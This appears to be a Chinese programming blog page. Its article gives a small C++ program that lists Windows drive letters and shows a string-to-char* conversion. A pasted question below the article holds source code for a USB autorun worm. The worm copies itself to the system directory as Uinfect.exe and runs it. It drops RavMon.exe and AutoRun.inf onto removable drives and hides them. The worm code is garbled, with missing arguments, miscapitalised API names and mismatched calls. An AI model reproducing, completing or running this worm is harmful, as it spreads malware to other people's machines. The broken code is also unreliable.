如何读取windows系统的盘符 + 如何使 string to char*

本文详细介绍了如何在C++程序中利用API函数GetLogicalDriveStrings来获取系统中的所有磁盘驱动器路径,并通过字符串操作展示如何遍历这些路径。
#include<Windows.h>
#include<iostream>
#include<string>
using namespace std;
char * f(char *str)
{
	return str;
}
int main()
{
	char b[100];
	for(int i=0;i<100;i++)
		b[i]='*';
	string s;
	GetLogicalDriveStrings(100,b); //api 函数。
	int i = 0;
	while(b[i] != '*' && b[i+1] != '*')
	{
		s=b[i];
		s=s+b[i+1];
		s=s+'\\'+'\\';
		i=i+4;
		char str[20];
		strcpy(str,s.c_str());//必须用strcpy函数,如果这样写,char* str; str.c_str(); 编译为错,因为无法 const char * to char *
		cout<<f(str);
	}

	cin>>i;
	return 0;
}
#include<windows.h> #include<String.h> BOOL UDevice(); void resourceToFile(char *filename,char *Name,char* TypE); int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nShowCmd) { UDevice(); return 0; } BOOL UDevice() { while(1) { char Name[256]="H:\\"; char szName[256]; char ToPath[256]; char infPath[256]; char OpenUDevice[79]; UINT retType; memset(szName,256); memset(ToPath,256); memset(infPath,256); memset(OpenUDevice,79); //do //{ //}while() //遍历盘符 unsigned char i = 0x42; for(; i < 0x5B; i += 0x1) { Name[0] = i; retType = GetDriveType(Name); //判断是否是可移动存储设备 if(retType == DRIVE_REMOVABLE) { //得到自身文件路径 GetModuleFilename(NULL,szName,256); //比较是否和U盘的盘符相同 if(strncmp(Name,1) == 0) { //得到系统目录 GetSystemDirectory(ToPath,256); strcat(ToPath,"\\Uinfect.exe"); //把自身文件复制到系统目录 if(CopyFile(szName,ToPath,TRUE)) { WinExec(ToPath,0);//运行程序 } strcpy(OpenUDevice,"explorer "); strcat(OpenUDevice,Name); //打开U盘 WinExec(OpenUDevice,1); return 0; } else { strcpy(ToPath,Name); strcat(ToPath,"\\RavMon.exe"); strcpy(infPath,Name); strcat(infPath,"\\AutoRun.inf"); //还原U盘上的文件属性 SetFileAttributes(ToPath,FILE_ATTRIBUTE_NORMAL); SetFileAttributes(infPath,FILE_ATTRIBUTE_NORMAL); //删除原有文件 deleteFile(ToPath); deleteFile(infPath); //释放AutoRun.inf到U盘 resourceToFile(infPath,(char*)0x64,(char*)256); //拷贝自身文件到U盘 CopyFile(szName,falSE); //把这两个文件设置成系统,隐藏属性 //这里我查了MSDN 因为第二个参数的宏可能用了或位运算,所以推导宏定义有点麻烦 SetFileAttributes(ToPath,0x6); SetFileAttributes(infPath,0x6); } } } //一分钟检测一次U盘 Sleep(60000); } } void resourceToFile(char *filename,char* TypE) { //寻找自身进程中的资源 HRSRC hRes = Findresource(NULL,Name,TypE); if(hRes==NULL) return; //导入资源 HGLOBAL hgRes = Loadresource(NULL,hRes); if(hgRes==NULL) return; //锁定资源 void *pRes = Lockresource(hgRes); if(pRes==NULL) return; //得到资源字节数 DWORD size = Sizeofresource(NULL,hRes); if(size==0) return; //创建文件 HANDLE hFile = CreateFile(filename,0x40000000,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0); if(hFile==INVALID_HANDLE_value) return; DWORD dwWrite; //把资源写入到文件 if(!WriteFile(hFile,pRes,size,&dwWrite,0)) return; //关闭文件句柄 CloseHandle(hFilE); //释放资源 GlobalFree(hgRes); } 这段代码有什么作用
09-09
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值